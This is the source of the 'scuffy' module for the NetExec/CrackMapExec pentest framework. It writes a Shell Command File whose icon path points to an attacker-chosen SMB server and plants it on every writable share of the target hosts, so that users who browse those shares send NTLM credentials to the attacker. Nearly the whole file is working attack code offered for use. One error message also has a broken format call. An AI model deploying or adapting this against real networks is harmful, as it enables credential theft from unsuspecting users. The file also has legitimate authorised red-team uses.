NetExec/cme/modules/scuffy.py

73 lines
2.8 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import ntpath
from sys import exit
class CMEModule:
'''
Original idea and PoC by Mubix "Rob" Fuller
URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
Module by: @kierangroome
'''
name = 'scuffy'
description = 'Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares'
supported_protocols = ['smb']
opsec_safe= False
multiple_hosts = True
def options(self, context, module_options):
'''
SERVER IP of the SMB server
NAME SCF file name
CLEANUP Cleanup (choices: True or False)
'''
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEANUP'])
if 'NAME' not in module_options:
context.log.error('NAME option is required!')
exit(1)
if not self.cleanup and 'SERVER' not in module_options:
context.log.error('SERVER option is required!')
exit(1)
self.scf_name = module_options['NAME']
self.scf_path = '/tmp/{}.scf'.format(self.scf_name)
self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name))
if not self.cleanup:
self.server = module_options['SERVER']
scuf = open(self.scf_path, 'a');
scuf.write("[Shell]" + '\n');
scuf.write("Command=2" + '\n');
scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n');
scuf.close();
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
#print share
context.log.success('Found writable share: {}'.format(share['name']))
if not self.cleanup:
with open(self.scf_path, 'rb') as scf:
try:
connection.conn.putFile(share['name'], self.file_path, scf.read)
context.log.success('Created SCF file on the {} share'.format(share['name']))
except Exception as e:
context.log.error('Error writing SCF file to share {}: {}'.format(share['name']))
else:
try:
connection.conn.deleteFile(share['name'], self.file_path)
context.log.success('Deleted SCF file on the {} share'.format(share['name']))
except Exception as e:
context.log.error('Error deleting SCF file on share {}: {}'.format(share['name'], e))